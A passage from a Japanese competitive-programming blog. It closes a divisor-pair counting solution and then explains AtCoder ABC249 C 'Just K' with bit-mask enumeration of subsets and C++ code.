とあるA[i]の約数divとなるjの個数はcnt[div]個であり、A[k]はA[i]/divとなるのでkの個数はcnt[A[i]/div]個となる。
jとkの組はどんな組でも問題ないので、cnt[div] * cnt[A[i]/div]通りが
その約数を使った時の条件を満たす組み合わせとなる。

あとは全部総和を取れば答え。

int N, A[201010];
int cnt[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];
    rep(i, 0, N) cnt[A[i]]++;

    ll ans = 0;
    rep(i, 0, N) {
        auto divs = enumdiv(A[i]);
        fore(div, divs) {
            int cntJ = cnt[div];
            int cntK = cnt[A[i] / div];
            ans += 1LL * cntJ * cntK;
        }
    }
    cout << ans << endl;
}

Just K [モノグサプログラミングコンテスト2022(AtCoder Beginner Contest 249) C]

https://atcoder.jp/contests/abc249/tasks/abc249_c

前提知識

  • bit全列挙

解説

https://atcoder.jp/contests/abc249/submissions/31208645

この問題ではbit全列挙が分かっているとスムーズに解くことができる。
bit全列挙については、他に詳しい解説があるので、そちらを参照して学習することをすすめる。

全列挙

競技プログラミングの基本は全列挙である。
今回、文字列を好きな個数選ぶことができるということであるが、Nがとても小さいので、
その文字列の選び方を全て列挙して検証することができる。

今回のような、選ぶ選ばないというのを全列挙するのに使えるのがbit全列挙である。
bitの01を選ぶ選ばないにマッピングすることで選択状態をbit列、ないし、数値として考えることができる。
全列挙するにあたってbit全列挙を使うことは必須ではないのだが、とてもお手軽な書き方であるし、
かつ、多くの解説がbit全列挙を前提に書いてあることが多いので、理解しておくといい。

とある選択方法について種類数を数える

全ての選択方法は列挙しても間に合うので、後はそれぞれの選び方について
『「選んだ文字列の中でちょうど K 個の文字列に登場する英小文字」の種類数』が計算できればいい。
これは全ての文字列に対して文字をカウントして、K個であるものを最後に数えればいい。
自分はmapを使って、

cnt[c] := 文字cが現れる回数

を選択した文字列に対して集計して、回数がK個である文字数を数えて、その最大値を取るようなコードを書いた。

int N, K;
string S[15];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    rep(i, 0, N) cin >> S[i];

    int ans = 0;
    rep(msk, 0, 1 << N) {
        map<char, int> cnt;
        rep(i, 0, N) if (msk & (1 << i)) fore(c, S[i]) cnt[c]++;

        int ok = 0;
        fore(p, cnt) if (p.second == K) ok++;
        chmax(ans, ok);
    }
    cout << ans << endl;
}